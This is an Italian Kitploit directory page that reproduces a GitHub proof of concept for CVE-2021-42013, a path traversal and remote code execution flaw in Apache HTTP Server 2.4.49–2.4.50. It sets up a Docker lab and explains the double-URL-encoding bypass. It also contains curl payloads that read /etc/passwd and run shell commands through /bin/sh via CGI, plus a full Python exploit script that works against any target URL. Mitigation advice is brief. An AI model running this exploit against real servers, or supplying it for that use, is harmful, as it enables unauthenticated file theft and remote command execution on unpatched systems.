Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-42013 — Proof-of-concept exploit per la vulnerabilità CVE-2021-42013 di Apache HTTP Server (attraversamento di percorso ed esecuzione di codice in remoto), con ambiente lab basato su Docker e script Python PoC. | Kitploit
Strumenti/GitHubGitHub/eunho87/cve-2021-42013
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubeunho87/cve-2021-42013

CVE-2021-42013

Proof-of-concept exploit per la vulnerabilità CVE-2021-42013 di Apache HTTP Server (attraversamento di percorso ed esecuzione di codice in remoto), con ambiente lab basato su Docker e script Python PoC.

Vedi Repository
42 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-42013

Contributore

  • 석은호@eunho87

CVE-2021-42013 Apache http Server Path Traversal

Riepilogo della vulnerabilità

Un bug nel processo di normalizzazione del percorso in Apache HTTP Server 2.4.50 consente di leggere file arbitrari o eseguire codice remoto senza autenticazione.

Derivante da una patch incompleta per CVE-2021-41773, aggira il blocco del percorso di Apache tramite doppia codifica URL (%%32%65).

Riferimenti

  • NVD - CVE-2021-42013
  • Apache Security Advisory

Condizioni di vulnerabilità

Affinché CVE-2021-42013 funzioni, devono essere soddisfatte le seguenti condizioni:

  1. Apache 2.4.49~2.4.50
  • La direttiva Directory in httpd.conf non deve essere impostata su 'Require all denied'
  • Modulo mod_cgi attivo (per RCE)

  • Configurazione dell'ambiente

    root@kitploit:~
    docker-compose up -d
    

    Per verificare che l'ambiente di test sia in esecuzione, esegui il seguente comando:

    root@kitploit:~
    docker-compose ps
    

    Se il server è avviato correttamente, puoi accedere a http://localhost:8080.

    Riproduzione della vulnerabilità

    Per salire alle directory superiori si usa ../, ma Apache blocca questa sequenza. Per aggirarlo, si può usare 2e, la codifica di .. Tuttavia, Apache 2.4.50 decodifica %2e prima di controllare, quindi %2e2e viene bloccato come ../. Per questo motivo è necessario usare la doppia codifica %%32%65 per aggirare il filtro.

    root@kitploit:~
    curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
    

    In un ambiente con CGI abilitato, è possibile eseguire RCE sostituendo l'ultima parte con /bin/sh.

    root@kitploit:~
    curl -s --path-as-is -X POST \
      --data "echo Content-Type: text/plain; echo; id; uname -a" \
      "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
    


    Codice PoC

    Python (poc.py)

    root@kitploit:~
    #!/usr/bin/env python3
    import sys
    import http.client
    from urllib.parse import urlparse
    
    def exploit(target_url, mode, arg):
        parsed = urlparse(target_url)
        host = parsed.hostname
        port = parsed.port or 80
        trav = "%%32%65%%32%65/" * 4
        
        if mode == "read":
            path = f"/static/{trav}{arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("GET", path)
        else:
            path = f"/cgi-bin/{trav}bin/sh"
            body = f"echo Content-Type: text/plain; echo; {arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
        
        result = conn.getresponse().read().decode("utf-8", "replace")
        conn.close()
        return result
    
    if __name__ == "__main__":
        if len(sys.argv) < 4:
            print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
            sys.exit(1)
        print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))
    

    Contromisure

    • Aggiornare ad Apache 2.4.51 o superiore
    • Mantenere 'Require all denied'

    Pulizia

    root@kitploit:~
    docker-compose down
    

    Scarica lo strumento